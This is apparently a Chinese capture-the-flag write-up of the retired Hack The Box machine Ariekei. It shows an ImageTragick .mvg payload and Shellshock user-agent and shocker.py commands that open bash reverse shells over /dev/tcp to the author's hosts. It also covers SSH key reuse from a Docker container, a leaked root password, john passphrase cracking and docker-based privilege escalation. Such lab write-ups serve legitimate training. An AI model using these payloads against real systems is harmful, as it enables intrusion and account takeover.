本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.65
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.65 -o ./Ariekei-autorecon
有用的扫描结果:
根据上面扫描结果发现存在cgi-bin目录,但是访问显示403,于是在此基础上再次进行爆破,命令如下
gobuster dir -k -e -u https://ariekei.htb/cgi-bin/ -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./ariekei-bmfx-gobuster
得到如下结果
访问对应地址
可确认存在shelshock漏洞,尝试手工验证一下
但结果显示的不是想要的,可能有WAF,先放着看看上面得出来的域名,试试爆破看看
gobuster dir -k -e -u https://calvin.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./calvin-bmfx-gobuster
gobuster dir -k -e -u https://beehive.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./beehive-bmfx-gobuster
使用上面两个命令快速爆破出来这两个域名对应存在的目录
先访问upload,因为看到这个总感觉简单一些上传一下就搞定的感觉
标题是图片转换,根据经验猜测可能有imagetragick漏洞,相应的漏洞信息参考:https://imagetragick.com/
利用方式如下:
将下面代码保存为bmfx.mgv push graphic-context viewbox 0 0 640 480 fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.5/8833 0<&1 2>&1")'ms pop graphic-context
成功反弹shell
翻看了家目录和执行一些操作,发现限制很多,这并不是真正的目标靶机,但是发现如下信息
猜测当前获得的shell可能是docker环境,然后根据上面的提示目录翻看,得到如下
可以确认就是dockers环境了,再查看下隐藏文件,还真有,发现了重要信息
将上述密钥保存文档给600权限连接过去,上述在插一句,这里是可以将得到的反弹shell升级成为tty-shell,步骤如下:
得到上述按照套路执行fg就会像如上一样的结果,此时我们可以如下操作
然后执行reset即可得到tty-shell ;
我们继续上面的来,得到密钥保存到本地之后,根据上面给出的配置docker环境及网络脚本得知大概的网络拓扑结构,映射的端口及IP地址,所以我们连接目标映射的1022端口
ssh -i ariekei_id.rsa 10.10.10.65 -p 1022 -l root
得知我们上面爆破出来的两个域名,是反向代理配置,对应域名是docker环境下的IP地址
从上面我们就可以得知了,目标对外开放的两个域名对应的web应用都是docker环境,通过WAF反向代理出来,供我们访问,上面我们已经拿下了域名calvin.ariekei.htb ,而另一个域名beehive.ariekei.htb 因为刚开始想利用shellshock但是被WAF拦截了,所以我们此时想绕过WAF,拿下此目标就直接在calvin这台docker机器上进行利用即可,然后目前遇到的问题是docker机器命令很少,限制很多,不过没关系,确认当前获得的权限含有python,那么可以使用python进行反弹,这里使用手动的curl方式,但是没有curl命令,使用wget验证可以成功验证漏洞可以执行命令,但是不能反弹shell
wget --user-agent='() { :; }; /bin/bash -i > /dev/tcp/172.23.0.253/8833 0<&1 2>&1' http://172.24.0.2/cgi-bin/stats
这里我是没有成功,大家可以测试下,我看到网上很多列举的方法是在这里就通过ssh进行端口转发,将目标的端口都映射出去,然后从kali本地进行利用,这种方式我觉得比较繁琐,我是直接使用自定义好的exploit,在目标靶机上成功反弹shell
对应利用shellshock的脚本:https://github.com/nccgroup/shocker
利用方式: python shocker.py -H 172.24.0.2 --command "/bin/bash -i > /dev/tcp/172.24.0.253/8833 0<&1 2>&1" -c /cgi-bin/stats
成功在目标靶机上反弹shell,并且升级为tty-shell
下面是对应的升级为tty-shell的操作的两种方式,她们可以交叉使用
非 python环境tty-shell script /dev/null -c bash 在键盘上按住Ctrl+Z stty raw -echo fg reset 会让你输入类型,输入:xterm echo $TERM(查看类型,可以不执行) export TERM=xterm export SHELL=bash stty rows 54 columns 104 (得到这个是在本地kali执行 stty -a所获得) 获取tty-shell /bin/bash -i export TERM=xterm-256color SHELL=/bin/bash script -q /dev/null # ctrl+z to background channel # background meterpreter session stty raw -echo reset reset # go back to meterpreter session and channel reset
成功登录到另一个目标靶机系统看了下权限还是很受限制,还是看不了user.txt
此时想到上面获取第一台目标靶机的docker环境中有root的密码,对应信息是:root:Ib3!kTEvYw6*P7s
使用su直接切换至root账户
使用root权限成功进入到目标靶机环境的ssh目录,获取了对应的公钥和私钥
复制其私钥保存到本地kali中,看私钥是设置了私钥的密码,我们是john通过密码字典进行破解下,破解之前先转换
得到了私钥的密码,直接使用用户spanishdancer进行登录
再次确认此时登录的靶机是否是宿主机
看到了我们最终的IP地址为10.10.10.65,可以确认现在就是真正的宿主机了,不是docker环境,准备开始提权了,看了当前docker含有哪些镜像,发现bash进行可以提权,参考链接:https://fosterelli.co/privilege-escalation-via-docker.html